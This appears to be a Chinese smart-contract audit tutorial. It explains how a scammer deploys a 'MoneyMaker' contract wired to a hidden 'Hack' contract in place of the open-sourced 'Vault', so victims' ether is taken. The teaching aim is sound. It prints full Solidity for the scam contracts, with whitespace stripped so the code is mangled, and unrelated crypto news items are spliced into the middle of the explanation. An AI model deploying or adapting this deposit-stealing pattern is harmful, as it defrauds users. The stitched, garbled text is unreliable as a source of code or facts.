MAKE:智能合約安全審計入門篇 —— 移花接木

概述

上期我們了解了利用tx.origin進行釣魚的攻擊手法，本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址，在攻擊合約中就可以調用目標合約中的函數嗎，有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源，其實我們會在部署A合約時傳入C合約的地址，如果受害者完全信任我們沒有檢查部署A合約的那筆交易，我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯：

用戶以為的調用路徑：

部署合約A傳入合約B地址，這樣調用路徑為正常路徑。

實際的調用路徑：

新的歐盟數據法案不會將智能合約定為非法:金色財經報道，歐盟委員會的一位發言人表示，新的歐盟數據法案不會將智能合約定為非法，這消除了加密行業對扼殺區塊鏈創新的擔憂。該委員會于2022 年提出了該法案，此前業界擔心，目前正在審議的歐盟法案《數據法案》強加了不可行的要求，即智能合約應能承受操縱、安全重置和控制訪問，發言人補充稱，盡管新規定將涵蓋軟件，例如自動執行合同（在數據共享的背景下），但對智能合約軟件的供應商來說應該不會有問題。[2023/6/21 21:50:39]

部署合約A傳入合約C地址，這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局：

惡意代碼

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

智能合約中的USDT供應百分比達到1個月高點:金色財經報道，據Glassnode數據顯示，智能合約中的美元 USDT供應百分比剛剛達到1個月高點 ,數值為20.617%。[2022/1/4 8:23:25]

騙局分析

可以看到，上述代碼中存在三個合約，我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色：

MoneyMaker合約代表A合約；

Vault合約代表B合約；

Hack合約代表C合約。

所以用戶以為的調用路徑為：

MoneyMaker->Vault。

而實際的調用路徑為：

MoneyMaker->Hack。

下面我們來看看攻擊者如何完成騙局的：

1.Evil部署Vault(B)合約并在合約中留存100ETH資金，在鏈上將Vault(B)合約開源；

跨鏈智能合約平臺Clover發布波卡插槽競拍策略:11月5日消息，跨鏈智能合約平臺Clover發布波卡插槽競拍策略，將參與前5個插槽拍賣，使用代幣CLV總供應量的20%（2000萬枚CLV）建立代幣獎勵池獎勵眾貸支持者，平行鏈拍賣開始時間為11月11日，當拍賣成功、項目平行鏈啟動時，立即發放28%的眾貸獎勵其余的72%，將在接下來的23個月里，按月解鎖。若Clover在第一批拍賣中未成功競拍，將用額外的CLV補償眾貸活動中的貢獻者。[2021/11/5 6:33:37]

2.Evil部署Hack(C)惡意合約；

3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約，部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址，任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報；

4.Bob收到消息，了解到MoneyMaker合約的存在，他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣，他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil；

BM：將構建一個BTC客戶端或錢包作為智能合約:金色財經報道，就推特網友有關“為什么EOS上的WBTC會比以太坊上的更安全，以及將如何就V神此前有關比特幣方面存在msig的評論設計安全性”的提問，EOS創始人Daniel Larimer（BM）回復稱：“我將構建一個BTC客戶端/錢包作為智能合約，并利用15個多簽名（multisig）中的8個來提供比采礦池更多的去中心化。然后，將發布軟件供BTC池運營商部署（可選擇）。”[2020/8/20]

5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH，在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。

咋回事呢？其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址，而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太，而是調用了Hack.transfer()拋出了一個事件："Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出，并通過Hack.withrow()將Bob轉入的20ETH轉出。

動態 | EOSIO智能合約 V1.6.0-RC1預發行版已引入REX:Larryk85賬戶在Github上更新EOSIO智能合約V1.6.0預發行版，此版本將REX代碼引入eosio.system系統合約內，以幫助在EOSIO智能合約 V1.6.0正式發布之前改進REX代碼。 該代碼在默認情況下，eosio.system系統合約的源代碼設置為引導帳戶名稱競拍費用、RAM交易費轉到REX收益池。在測試狀態下，只在接收新費用時才會獲取前述費用，不會觸及已經在eosio.ramfee和eosio.names賬戶中任何資金，且通過臨時設置，可以在源代碼中臨時禁止將這些費用轉入 REX 收益池。[2018/12/13]

預防建議

以太坊黑暗森林中你能相信的只有自己，不要相信任何人精彩的話術，交易記錄不會造假，只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

Tags：MAKEULTMakerVAULTNFTMAKEThe Vaultmakerdao是什么幣VAULTS

FIL幣